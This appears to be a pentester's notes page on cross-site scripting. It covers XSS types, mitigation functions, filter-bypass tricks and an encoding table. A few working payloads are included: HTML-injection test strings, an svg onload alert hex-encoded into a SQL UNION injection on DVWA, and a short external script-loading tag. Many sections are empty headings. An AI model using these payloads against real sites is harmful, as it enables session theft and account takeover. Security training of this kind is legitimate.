XSS_HTML Injection

Reflected XSS Stored XSS DOM XSS self XSS

Mechanism

Cross-site scripting (XSS) is a vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users

What Is Vulnerability?

Cross-site scripting (XSS) is a type of security vulnerability typically found in web applications. It allows attackers to inject malicious scripts into content from otherwise trusted websites. These scripts can then be executed in the context of the user's browser, leading to various potential attacks including data theft, session hijacking, and defacement of websites.

Types

Types of XSS Attacks

  1. Stored XSS

  2. Blind XSS

  3. Reflected XSS

  4. DOM XSS

  5. Self XSS

How Does It Happen?

Reflected XSS

The malicious script is reflected off a web server, such as in an error message or a search result, and executed immediately as part of the response.

I will try use some tags to test rxss '"><h1>Hacked</h1>

the best '"><h1>Hacked</h1>{7*7}}JyI+PGgxPmhhY2tlZDwvaDE+

Ok this search Vulnerable HTML injection && RXSS

Simple JS payload

Stored XSS

Mitiegstion Code

Use htmlentities() Function => PHP

use escape() Function = PYTHON

use escapeHtml() Function = JS

Case 2 Mitigation

Additional Security Measures

  1. Content Security Policy (CSP)

How To PenTest?

in website

in your Attcker Machine

How to Bypass Protection

  • Without event handlers

  • Without space

  • Without slash (/)

  • Without equal sign (=)

• Background image manipulation:

  • eval

  • Without closing the angular bracket (>)

Ex :

OR

  • Without alert, confirm, prompt

  • Without a Valid HTML tag

  • Bypass tag blacklisting

HTML
Char
Numeric
Description
Hex
CSS (ISO)
JS (Octal)
URL

&quot;

"

&#34;

quotation mark

u+0022

\0022

\42

%22

&num;

#

&#35;

number sign

u+0023

\0023

\43

%23

&dollar;

$

&#36;

dollar sign

u+0024

\0024

\44

%24

&percnt;

%

&#37;

percent sign

u+0025

\0025

\45

%25

&amp;

&

&#38;

ampersand

u+0026

\0026

\46

%26

&apos;

'

&#39;

apostrophe

u+0027

\0027

\47

%27

&lpar;

(

&#40;

left parenthesis

u+0028

\0028

\50

%28

&rpar;

)

&#41;

right parenthesis

u+0029

\0029

\51

%29

&ast;

*

&#42;

asterisk

u+002A

\002a

\52

%2A

&plus;

+

&#43;

plus sign

u+002B

\002b

\53

%2B

&comma;

,

&#44;

comma

u+002C

\002c

\54

%2C

&minus;

-

&#45;

hyphen-minus

u+002D

\002d

\55

%2D

&period;

.

&#46;

full stop; period

u+002E

\002e

\56

%2E

&sol;

/

&#47;

solidus; slash

u+002F

\002f

\57

%2F

&colon;

:

&#58;

colon

u+003A

\003a

\72

%3A

&semi;

;

&#59;

semicolon

u+003B

\003b

\73

%3B

&lt;

<

&#60;

less-than

u+003C

\003c

\74

%3C

&equals;

=

&#61;

equals

u+003D

\003d

\75

%3D

&gt;

>

&#62;

greater-than sign

u+003E

\003e

\76

%3E

&quest;

?

&#63;

question mark

u+003F

\003f

\77

%3F

&commat;

@

&#64;

at sign; commercial at

u+0040

\0040

\100

%40

&lsqb;

[

&#91;

left square bracket

u+005B

\005b

\133

%5B

&bsol;

\

&#92;

backslash

u+005C

\005c

\134

%5C

&rsqb;

]

&#93;

right square bracket

u+005D

\005d

\135

%5D

&Hat;

^

&#94;

circumflex accent

u+005E

\005e

\136

%5E

&lowbar;

_

&#95;

low line

u+005F

\005f

\137

%5F

&grave;

`

&#96;

grave accent

u+0060

\0060

\u0060

%60

&lcub;

{

&#123;

left curly bracket

u+007b

\007b

\173

%7b

&verbar;

|

&#124;

vertical bar

u+007c

\007c

\174

%7c

&rcub;

}

&#125;

right curly bracket

u+007d

\007d

\175

%7d

Tips & Tricks

  • http(s):// can be shortened to // or /\\ or \\.

  • document.cookie can be shortened to cookie. It applies to other DOM objects as well.

  • alert and other pop-up functions don't need a value, so stop doing alert('XSS') and start doing alert()

  • You can use // to close a tag instead of >.

  • I have found that confirm is the least detected pop-up function so stop using alert.

  • Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use <script src=//14.rs> instead of <script src="//14.rs">

  • The shortest HTML context XSS payload is <script src=//14.rs> (19 chars)

Escalating the Attack

XSS to SQL Injection (XSSQLi)

XSS Injection with SQLi (XSSQLi) Well After our discussion on different types of injection and places you can find SQL injection Vulnerability, an attacker can successfully exploit an SQL injection vulnerability and get access to the database and if he is lucky enough to get access to the File System also by uploading shell

IN DVWA DEMO

i will use OR 6=6# to test

Ok i will Try Use union Attack

Ok Try again UNION Attack to make XSSSQi

<svg src=x onload=alert(/H3ckt00r/)>

Make Encoded to HEX && ad 0x in begin payload

0x3c737667207372633d78206f6e6c6f61643d616c657274282f4833636b743030722f293e53

B0000000000M!!

BEEF-XSS

WriteUP

XSS - Keyloger

XSS Session Hijacking

Stored XSS + Session Hijacking

Weak Session IDs Source

in the code if last_session exist make last_session = 0

XSS Bypass Sanitization

Exploit using Arithmetic Operators

Which sinks can lead to DOM-XSS vulnerabilities?

The following are some of the main sinks that can lead to DOM-XSS vulnerabilities:

he following jQuery functions are also sinks that can lead to DOM-XSS vulnerabilities:

Last updated